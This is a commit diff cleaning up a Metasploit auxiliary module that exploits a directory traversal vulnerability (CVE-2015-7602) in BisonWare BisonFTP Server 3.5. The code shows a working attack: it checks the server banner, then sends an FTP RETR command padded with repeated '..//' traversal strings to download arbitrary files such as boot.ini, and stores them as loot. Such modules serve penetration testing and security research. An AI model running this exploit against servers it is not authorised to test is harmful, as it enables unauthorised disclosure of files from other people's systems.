Do module cleanup for auxiliary/scanner/ftp/bison_ftp_traversal

modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb

@@ -13,42 +13,47 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'			 => 'BisonWare BisonFTP Server Directory Traversal Information Disclosure',
-      'Description'	 => %q{
+      'Name'           => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',
+      'Description'    => %q{
         This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
         version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
         by crafting a RETR command including file system traversal strings such as '..//.'
       },
-      'Platform'		 => 'win',
-      'Author'		 =>
+      'Platform'       => 'win',
+      'Author'         =>
         [
-          'Jay Turla <@shipcod3>', # msf and initial discovery
+          'Jay Turla', # @shipcod3, msf and initial discovery
           'James Fitts',
-          'Brad Wolfe' #brad.wolfe[at]gmail.com
+          'Brad Wolfe <brad.wolfe[at]gmail.com>'
         ],
-      'License'		 => MSF_LICENSE,
-      'References'	 =>
+      'License'        => MSF_LICENSE,
+      'References'     =>
         [
           [ 'EDB', '38341'],
           [ 'CVE', '2015-7602']
         ],
-      'DisclosureDate' => 'Sep 28 2015'))
+      'DisclosureDate' => 'Sep 28 2015'
+    ))
 
     register_options(
       [
+        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
         OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
       ], self.class)
 
   end
 
-  def check
-    connect
-    disconnect
-    if (banner =~ /BisonWare BisonFTP server product V3.5/)
-      return Exploit::CheckCode::Appears
-    else
-      return Exploit::CheckCode::Safe
+  def check_host(ip)
+    begin
+      connect
+      if /BisonWare BisonFTP server product V3\.5/i === banner
+        return Exploit::CheckCode::Appears
+      end
+    ensure
+      disconnect
     end
+
+    Exploit::CheckCode::Safe
   end
 
   def run_host(target_host)
@@ -60,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary
       file = ::File.basename(file_path)
 
       # make RETR request and store server response message...
-      retr_cmd = ( "..//" * 32 ) + "#{file_path}"
+      retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
       res = send_cmd( ["RETR", retr_cmd])
 
       # read the file data from the socket that we opened
@@ -73,15 +78,16 @@ class Metasploit3 < Msf::Auxiliary
 
       # store file data to loot
       loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
-      print_status("Stored #{file_path} to #{loot_file}")
+      vprint_status("Data returned:\n")
+      vprint_line(response_data)
+      print_good("Stored #{file_path} to #{loot_file}")
 
-      # Read and print the data from the loot file.
-      info_disclosure = print_line(loot_file)
-      print_status("Printing contents of #{file_path}")
-      print_good("Result:\n #{info_disclosure}")
-
-    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-    rescue ::Timeout::Error, ::Errno::EPIPE
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
+      vprint_error(e.message)
+      elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
+    rescue ::Timeout::Error, ::Errno::EPIPE => e
+      vprint_error(e.message)
+      elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
     ensure
       data_disconnect
       disconnect